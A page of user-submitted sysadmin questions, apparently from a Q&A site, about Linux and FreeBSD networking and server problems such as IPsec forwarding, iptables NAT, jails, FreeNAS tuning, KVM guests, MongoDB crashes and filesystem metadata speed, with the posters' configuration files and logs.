subnet-mask 255.255.255.0; option root-path "/opt/ltsp/i386"; if substring( option vendor-class-identifier, 0, 9 ) = "PXEClient" { filename "/ltsp/i386/pxelinux.0"; } else { filename "/ltsp/i386/nbi.img"; } } administrator@rauta-mint-turion /etc/ltsp $

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• VPN iptables Forwarding: Net-to-net

  - by Mike Holler

  I've tried to look elsewhere on this site but I couldn't find anything matching this problem. Right now I have an ipsec tunnel open between our local network and a remote network. Currently, the local box running Openswan ipsec with the tunnel open can ping the remote ipsec box and any of the other computers in the remote network. When logged into on of the remote computers, I can ping any box in our local network. That's what works, this is what doesn't: I can't ping any of the remote computers via a local machine that is not the ipsec box. Here's a diagram of our network: [local ipsec box] ----------\ \ [arbitrary local computer] --[local gateway/router] -- [internet] -- [remote ipsec box] -- [arbitrary remote computer] The local ipsec box and the arbitrary local computer have no direct contact, instead they communicate through the gateway/router. The router has been set up to forward requests from local computers for the remote subnet to the ipsec box. This works. The problem is the ipsec box doesn't forward anything. Whenever an arbitrary local computer pings something on the remote subnet, this is the response: [user@localhost ~]# ping 172.16.53.12 PING 172.16.53.12 (172.16.53.12) 56(84) bytes of data. From 10.31.14.16 icmp_seq=1 Destination Host Prohibited From 10.31.14.16 icmp_seq=2 Destination Host Prohibited From 10.31.14.16 icmp_seq=3 Destination Host Prohibited Here's the traceroute: [root@localhost ~]# traceroute 172.16.53.12 traceroute to 172.16.53.12 (172.16.53.12), 30 hops max, 60 byte packets 1 router.address.net (10.31.14.1) 0.374 ms 0.566 ms 0.651 ms 2 10.31.14.16 (10.31.14.16) 2.068 ms 2.081 ms 2.100 ms 3 10.31.14.16 (10.31.14.16) 2.132 ms !X 2.272 ms !X 2.312 ms !X That's the IP for our ipsec box it's reaching, but it's not being forwarded. On the IPSec box I have enabled IP Forwarding in /etc/sysctl.conf net.ipv4.ip_forward = 1 And I have tried to set up IPTables to forward: *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [759:71213] -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT -A INPUT -p icmp -j ACCEPT -A INPUT -i lo -j ACCEPT -A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT -A INPUT -p tcp -m state --state NEW -m tcp --dport 25 -j ACCEPT -A INPUT -p udp -m state --state NEW -m udp --dport 500 -j ACCEPT -A INPUT -p udp -m state --state NEW -m udp --dport 4500 -j ACCEPT -A INPUT -m policy --dir in --pol ipsec -j ACCEPT -A INPUT -p esp -j ACCEPT -A INPUT -j REJECT --reject-with icmp-host-prohibited -A FORWARD -s 10.31.14.0/24 -d 172.16.53.0/24 -j ACCEPT -A FORWARD -m policy --dir in --pol ipsec -j ACCEPT -A FORWARD -j REJECT --reject-with icmp-host-prohibited COMMIT Am I missing a rule in IPTables? Is there something I forgot? NOTE: All the machines are running CentOS 6.x Edit: Note 2: eth1 is the only network interface on the local ipsec box.

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• Virtual Network Interface and NAT disables localhost access for MySQL and Apache

  - by Interarticle

  I'm running an Ubuntu Server 12.04, and recently I configured it to do NAT for my laptop. Since the server has only one NIC, I followed instructions online to create a virtual network device (eth0:0) that has a LAN IP address, then further configured iptables and UFW to allow internet sharing. However, just a few days ago, I discovered that one of the PHP pages hosted on the server failed for no apparent reason. A little digging revealed that the MySQL server started refusing connections from localhost. The same happened with a page (PhpMyAdmin) that was configured to be accessible only from localhost (in Apache2). The error, as shown by $mysql --protocol=tcp -u root -p looks like ERROR 1130 (HY000): Host '<host name of eth0>' is not allowed to connect to this MySQL server However, the funny thing is, I configured the mysql server to allow root access from localhost (only). Moreover, the mysql server listens only on 127.0.0.1:3306, as shown by: sudo netstat -npa | head Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 1029/mysqld which means that the connection could have only come from 127.0.0.1 (Note that MySQL is working because I can still connect to it via unix domain sockets) In effect, it seems that all tcp connections originating from 127.0.0.1 to 127.0.0.1 appear to any local daemon to come from the eth0 IP address. Indeed, apache2 allowed me to access PhpMyAdmin after I added allow <eth0 IP address>. The following are my network configurations (redacted): /etc/hosts: 127.0.0.1 localhost 211.x.x.x <host name of eth0> <server name> #IPv6 Defaults follows .... /etc/network/interfaces: auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 211.x.x.x netmask 255.255.255.0 gateway 211.x.x.x dns-nameservers 8.8.8.8 # dns-* options are implemented by the resolvconf package, if installed dns-search xxxxxxx.com hwaddress ether xx:xx:xx:xx:xx:xx auto eth0:0 iface eth0:0 inet static address 192.168.57.254 netmask 255.255.254.0 broadcast 192.168.57.255 network 192.168.57.0 /etc/ufw/sysctl.conf: #Uncommented the following lines net/ipv4/ip_forward=1 net/ipv6/conf/default/forwarding=1 /etc/default/ufw: DEFAULT_FORWARD_POLICY="ACCEPT" #Changed DROP to ACCEPT /etc/init/internet-sharing.conf (upstart script I wrote), section pre-start script: iptables -A FORWARD -o eth0 -i eth0:0 -s 192.168.57.22 -m conntrack --ctstate NEW -j ACCEPT iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT iptables -A POSTROUTING -t nat -j MASQUERADE Note again that my problem here is that programs cannot access localhost tcp services, from the server itself, and that access is blocked because the services have access control allowing only 127.0.0.1. I have no problem connecting (as in TCP connections) to services via tcp, even if the services listen only on 127.0.0.1. I do NOT want to connect to the services from another computer.

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• Building NanoBSD inside a jail

  - by ptomli

  I'm trying to setup a jail to enable building a NanoBSD image. It's actually a jail on top of a NanoBSD install. The problem I have is that I'm unable to mount the md device in order to do the 'build image' part. Is it simply not possible to mount an md device inside a jail, or is there some other knob I need to twiddle? On the host /etc/rc.conf.local jail_enable="YES" jail_mount_enable="YES" jail_list="build" jail_set_hostname_allow="NO" jail_build_hostname="build.vm" jail_build_ip="192.168.0.100" jail_build_rootdir="/mnt/zpool0/jails/build/home" jail_build_devfs_enable="YES" jail_build_devfs_ruleset="devfsrules_jail_build" /etc/devfs.rules [devfsrules_jail_build=5] # nothing Inside the jail [root@build /usr/obj/nanobsd.PROLIANT_MICROSERVER]# sysctl security.jail security.jail.param.cpuset.id: 0 security.jail.param.host.hostid: 0 security.jail.param.host.hostuuid: 64 security.jail.param.host.domainname: 256 security.jail.param.host.hostname: 256 security.jail.param.children.max: 0 security.jail.param.children.cur: 0 security.jail.param.enforce_statfs: 0 security.jail.param.securelevel: 0 security.jail.param.path: 1024 security.jail.param.name: 256 security.jail.param.parent: 0 security.jail.param.jid: 0 security.jail.enforce_statfs: 1 security.jail.mount_allowed: 1 security.jail.chflags_allowed: 1 security.jail.allow_raw_sockets: 0 security.jail.sysvipc_allowed: 0 security.jail.socket_unixiproute_only: 1 security.jail.set_hostname_allowed: 0 security.jail.jail_max_af_ips: 255 security.jail.jailed: 1 [root@build /usr/obj/nanobsd.PROLIANT_MICROSERVER]# mdconfig -l md2 md0 md1 md0 and md1 are the ramdisks of the host. bsdlabel looks sensible [root@build /usr/obj/nanobsd.PROLIANT_MICROSERVER]# bsdlabel /dev/md2s1 # /dev/md2s1: 8 partitions: # size offset fstype [fsize bsize bps/cpg] a: 1012016 16 4.2BSD 0 0 0 c: 1012032 0 unused 0 0 # "raw" part, don't edit newfs runs ok [root@build /usr/obj/nanobsd.PROLIANT_MICROSERVER]# newfs -U /dev/md2s1a /dev/md2s1a: 494.1MB (1012016 sectors) block size 16384, fragment size 2048 using 4 cylinder groups of 123.55MB, 7907 blks, 15872 inodes. with soft updates super-block backups (for fsck -b #) at: 160, 253184, 506208, 759232 mount fails [root@build /usr/obj/nanobsd.PROLIANT_MICROSERVER]# mount /dev/md2s1a _.mnt/ mount: /dev/md2s1a : Operation not permitted UPDATE: One of my colleagues pointed out There are some file systems types that can't be securely mounted within a jail no matter what, like UFS, MSDOFS, EXTFS, XFS, REISERFS, NTFS, etc. because the user mounting it has access to raw storage and can corrupt it in a way that it will panic entire system. From http://www.mail-archive.com/[email protected]/msg160389.html So it seems that the standard nanobsd.sh won't run inside a jail while it uses the md device to build the image. One potential solution I'll try is to chroot from the host into the build jail, rather than jexec a shell.

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• TCP/IP & throughput between FreeNAS (BSD) server & other LAN machines

  - by Tim Dickerson

  I have got a question for someone that knows BSD a bit better than me that are in regards to my LAN setup at home/work here outside Chicago. I can't seem to fully optimize my network's (LAN) thoughput via my FreeNAS (BSD based) file server. It runs with the latest FreeBSD release which is modified to support several protocols for file transfers and more. Every machine that is behind my Smoothwall (Linux based) router is on the usual 192.168.0.x subnet and for most part works just fine. Behind the Smoothwall box, all machines are connected to a GB HP unmanaged switch. I host a large WISP here and have an OC-3 connection here at home/work and have no issues with downloading/uploading from/to the 'net'. My problem is with throughput. When I try and transfer large files...really any for that matter..between any of the machines to/and from the FreeNAS server via FTP, the max throughput I can achieve say between a Win 7 or a Linux box is ~65Mbit/sec. All machines are running Intel Pro 1000 GB NIC's and all cable is CAT6. Each is set to 'auto negotiation' and each shows 1500 MTU Full Duplex @1GB so I know the hardware is okay. I have not adjusted the MTU on any machine as I understand it to be pointless unless certain configurations are used (I assume I am not one of those). My settings for the FreeNAS machine are the following: # FreeNAS /etc/sysctl.conf - pertinent settings shown kern.ipc.maxsockbuf=262144 kern.ipc.nmbclusters=32768 kern.ipc.somaxconn=8192 kern.maxfiles=65536 kern.maxfilesperproc=32768 net.inet.tcp.delayed_ack=0 net.inet.tcp.inflight.enable=0 net.inet.tcp.path_mtu_discovery=0 net.inet.tcp.recvbuf_auto=1 net.inet.tcp.recvbuf_inc=524288 net.inet.tcp.recvbuf_max=16777216 net.inet.tcp.recvspace=65536 net.inet.tcp.rfc1323=1 net.inet.tcp.sendbuf_inc=16384 net.inet.tcp.sendbuf_max=16777216 net.inet.tcp.sendspace=65536 net.inet.udp.recvspace=65536 net.local.stream.recvspace=65536 net.local.stream.sendspace=65536 net.inet.tcp.hostcache.expire=1 From what I can tell, that looks to be a somewhat optimized profile for a typical BSD machine acting as a server for a LAN. I might be wrong and just wanted to find out from someone that knows BSD better than I do if indeed that is ok or if something is out of tune or what. Are there other ways I would find better for P2P file transfers? I honestly do not know what I SHOULD be looking for with respect to throughput between the NAS box and another client when xferring files via FTP, but I am told that what I get on average (40-70MB/sec) is too low for what it could be. I have thought about adding another NIC in the FreeNAS box as well as the Win7 machine and use a X-over cable via a static route, but wanted to check with someone first to see if that might be worth it or not. I don't know if doing that would bypass the HP GB switch and allow for a machine to machine xfer anyways. The FTP client I use is: Filezilla and have tried both active and passive modes with no real gain over each other. The NAS box runs ProFTPD.

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• Windows 2008 running as KVM guest networking issue

  - by Evolver

  I have a strange networking problem with Windows 2008 server R2, running as guest under KVM-Qemu host. Host is CentOS 6.3 x86_64. It's network settings: # cat /etc/sysconfig/network-scripts/ifcfg-br0 DEVICE=br0 BOOTPROTO=static BROADCAST=xx.xx.xx.63 IPADDR=xx.xx.xx.4 NETMASK=255.255.255.192 NETWORK=xx.xx.xx.0 ONBOOT=yes TYPE=Bridge # cat /etc/sysconfig/network-scripts/ifcfg-eth0 DEVICE=eth0 HWADDR=xx:xx:xx:xx:xx:xx ONBOOT=yes BRIDGE=br0 IPV6INIT=yes IPV6_AUTOCONF=yes # cat /etc/sysconfig/network NETWORKING=yes NETWORKING_IPV6=no HOSTNAME=my.hostname GATEWAY=xx.xx.xx.1 # cat /etc/sysctl net.ipv4.ip_forward = 1 # tried to set it to 0 without any changes net.ipv4.conf.default.rp_filter = 1 # tried to set it to 0 without any changes net.ipv4.conf.default.accept_source_route = 0 # tried to set it to 1 without any changes kernel.sysrq = 0 kernel.core_uses_pid = 1 net.ipv4.tcp_syncookies = 1 net.bridge.bridge-nf-call-ip6tables = 0 net.bridge.bridge-nf-call-iptables = 0 net.bridge.bridge-nf-call-arptables = 0 kernel.msgmnb = 65536 kernel.msgmax = 65536 kernel.shmmax = 68719476736 kernel.shmall = 4294967296 # route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface xx.xx.xx.0 0.0.0.0 255.255.255.192 U 0 0 0 br0 169.254.0.0 0.0.0.0 255.255.0.0 U 1004 0 0 br0 0.0.0.0 xx.xx.xx.1 0.0.0.0 UG 0 0 0 br0 Node IP is xx.xx.xx.4, guest IP is xx.xx.xx.24, both host and guest is in the same network (/26). There are several linux guest running fine on the node (centos, debian, ubuntu, arch), and even Windows 2003 x86 also running fine. But Win2008 does not. I wonder, what's the difference. From Win2008 guest I can ping nothing: neither gateway, nor any other IP, even they are in the same subnet. From outside I also cannot ping guest. Almost. If I ping it from another server in same subnet, it's barely pinging, losing more than 90% packets. Firewall on the guest is completely off. Tried to set up network manually as well as via DHCP without success (BTW, DHCP set up network settings correctly). I suspect that is a kind of routing problem, but I spent whole day and still cannot figure it out. I would be appreciate for any help.

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• debian gateway using iptables

  - by meijuh

  I am having problems setting up a debian gateway server. My goal: Having eth1 the WAN interface. Having eth0 the LAN interface. Allow both ports 22 (SSH) and 80 (HTTP) accessed from the outside world on the gateway (SSH and HTTP run on this server). What I did was the following: Create a file /etc/iptables.rules with contents: /etc/iptables.rules: *nat -A POSTROUTING -o eth1 -j MASQUERADE COMMIT *filter -A INPUT -i lo -j ACCEPT -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT -A INPUT -i eth1 -p tcp -m tcp --dport 22 -j ACCEPT -A INPUT -i eth1 -p tcp -m tcp --dport 80 -j ACCEPT -A INPUT -i eth1 -j DROP COMMIT edit /etc/network/interfaces as follows: /etc/network/interfaces: # The loopback network interface auto lo iface lo inet loopback pre-up iptables-restore < /etc/iptables.rules auto eth0 allow-hotplug eth0 iface eth0 inet dhcp #auto eth1 #allow-hotplug eth1 #iface eth1 inet dhcp allow-hotplug eth1 iface eth1 inet static address 217.119.224.51 netmask 255.255.255.248 gateway 217.119.224.49 dns-nameservers 217.119.226.67 217.119.226.68 Uncomment the rule net.ipv4.ip_forward=1 in /etc/sysctl.conf to allow packet forwarding. The static settings for eth1 such as the ip address I got from my router (which I want to replace); I simply copied these. I have a (windows) DNS + DHCP server on ip address 10.180.1.10, which assigns ip address 10.180.1.44 to eth0. What this server does is not really interesting it only maps domain names on our local network and assigns one static ip to the gateway. What works: on the gateway itself I can ping 8.8.8.8 and google.nl. So that is okey. What does not work: (1) Every machine connected to eth0 (indirectly via a switch) can not ping an ip or a domain. So I guess the gateway can not be found. (2) Also when I configure my linux machine (a laptop) to use a static ip 10.180.1.41, a mask and a gateway (10.180.1.44) I can not ping an ip or domain either. This means that maybe my iptables is incorrect of not loaded correctly. Or I maybe have to configure my DNS/DHCP on my windows machine. I have not reset the windows machine net, restart the DNS/DHCP services, should I do this? I did not install dnsmasq as desribed here: http://blog.noviantech.com/2010/12/22/debian-router-gateway-in-15-minutes/. I don't think this is necessary?

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• mongodb : Can create new thread on FreeBSD?

  - by user197739

  We experienced some strange thing in our mongodb gridfs platform. The platform actually is a bi Xeon E5 (bi quad core) with 128GB of memory, running on freebsd 9 with a zfs pool dedicated for mongodb. [root@mongofile1 ~]# uname -sr FreeBSD 9.1-RELEASE our /boot/loader.conf vfs.zfs.arc_min="2048M" vfs.zfs.arc_max="7680M" vm.kmem_size_max="16G" vm.kmem_size="12G" vfs.zfs.prefetch_disable="1" kern.ipc.nmbclusters="32768" /etc/sysctl.conf net.inet.tcp.msl=15000 net.inet.tcp.keepidle=300000 kern.ipc.nmbclusters=32768 kern.ipc.maxsockbuf=2097152 kern.ipc.somaxconn=8192 kern.maxfiles=65536 kern.maxfilesperproc=32768 net.inet.tcp.delayed_ack=0 net.inet.tcp.sendspace=65535 net.inet.udp.recvspace=65535 net.inet.udp.maxdgram=57344 net.local.stream.recvspace=65535 net.local.stream.sendspace=65535 we follow the recommendation for the ulimit : [root@mongofile1 ~]# su - mongodb $ ulimit -a cpu time (seconds, -t) unlimited file size (512-blocks, -f) unlimited data seg size (kbytes, -d) 33554432 stack size (kbytes, -s) 524288 core file size (512-blocks, -c) unlimited max memory size (kbytes, -m) unlimited locked memory (kbytes, -l) unlimited max user processes (-u) 5547 open files (-n) 32768 virtual mem size (kbytes, -v) unlimited swap limit (kbytes, -w) unlimited sbsize (bytes, -b) unlimited pseudo-terminals (-p) unlimited This server have a twin (same config exactly) for ReplSet in other data center and we have a virtualized arbiter. Some time, almost 3 days, the process of mongodb exit. The problem begin with: Fri Nov 8 11:27:31.741 [conn774697] end connection 192.168.10.162:47963 (23 connections now open) Fri Nov 8 11:27:31.770 [initandlisten] can't create new thread, closing connection Fri Nov 8 11:27:31.771 [rsHealthPoll] replSet member mongofile2:27017 is now in state DOWN Fri Nov 8 11:27:31.774 [initandlisten] connection accepted from 192.168.10.162:47968 #774702 (20 connections now open) Fri Nov 8 11:27:31.774 [initandlisten] connection accepted from 192.168.10.161:28522 #774703 (21 connections now open) Fri Nov 8 11:27:31.774 [initandlisten] connection accepted from 192.168.10.164:15406 #774704 (22 connections now open) Fri Nov 8 11:27:31.774 [initandlisten] connection accepted from 192.168.10.163:25750 #774705 (23 connections now open) Fri Nov 8 11:27:31.810 [initandlisten] connection accepted from 192.168.10.182:20779 #774706 (24 connections now open) Fri Nov 8 11:27:31.855 [initandlisten] connection accepted from 192.168.10.161:28524 #774707 (25 connections now open) Fri Nov 8 11:27:31.869 [initandlisten] connection accepted from 192.168.10.182:20786 #774708 (26 connections now open) and after many "can create new thread" [root@mongofile1 /usr/mongodb]# tail -n 15000 mongod.log.old |grep "create new thread"|wc 5020 55220 421680 and finish by a magnificent Fri Nov 8 11:30:22.333 [rsMgr] replSet warning caught unexpected exception in electSelf() pure virtual method called Fri Nov 8 11:30:22.333 Got signal: 6 (Abort trap: 6). Fri Nov 8 11:30:22.337 Backtrace: 0x599efc 0x8035cb516 0x599efc <_ZN5mongo10abruptQuitEi+988> at /usr/local/bin/mongod 0x8035cb516 <_pthread_sigmask+918> at /lib/libthr.so.3 Extract of mongodb from top 78126 mongodb 77 20 0 1253G 1449M sbwait 0 0:20 0.00% mongod If I restart the process when it crash, the problem is fixed for almost 3 days. Has anyone seen this before, or know of a fix?

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• Linux filesystem with inodes close on the disk

  - by pts

  I'd like to make the ls -laR /media/myfs on Linux as fast as possible. I'll have 1 million files on the filesystem, 2TB of total file size, and some directories containing as much as 10000 files. Which filesystem should I use and how should I configure it? As far as I understand, the reason why ls -laR is slow because it has to stat(2) each inode (i.e. 1 million stat(2)s), and since inodes are distributed randomly on the disk, each stat(2) needs one disk seek. Here are some solutions I had in mind, none of which I am satisfied with: Create the filesystem on an SSD, because the seek operations on SSDs are fast. This wouldn't work, because a 2TB SSD doesn't exist, or it's prohibitively expensive. Create a filesystem which spans on two block devices: an SSD and a disk; the disk contains file data, and the SSD contains all the metadata (including directory entries, inodes and POSIX extended attributes). Is there a filesystem which supports this? Would it survive a system crash (power outage)? Use find /media/myfs on ext2, ext3 or ext4, instead of ls -laR /media/myfs, because the former can the advantage of the d_type field (see in the getdents(2) man page), so it doesn't have to stat. Unfortunately, this doesn't meet my requirements, because I need all file sizes as well, which find /media/myfs doesn't print. Use a filesystem, such as VFAT, which stores inodes in the directory entries. I'd love this one, but VFAT is not reliable and flexible enough for me, and I don't know of any other filesystem which does that. Do you? Of course, storing inodes in the directory entries wouldn't work for files with a link count more than 1, but that's not a problem since I have only a few dozen such files in my use case. Adjust some settings in /proc or sysctl so that inodes are locked to system memory forever. This would not speed up the first ls -laR /media/myfs, but it would make all subsequent invocations amazingly fast. How can I do this? I don't like this idea, because it doesn't speed up the first invocation, which currently takes 30 minutes. Also I'd like to lock the POSIX extended attributes in memory as well. What do I have to do for that? Use a filesystem which has an online defragmentation tool, which can be instructed to relocate inodes to the the beginning of the block device. Once the relocation is done, I can run dd if=/dev/sdb of=/dev/null bs=1M count=256 to get the beginning of the block device fetched to the kernel in-memory cache without seeking, and then the stat(2) operations would be fast, because they read from the cache. Is there a way to lock those inodes and/or blocks into memory once they have been read? Which filesystem has such a defragmentation tool?

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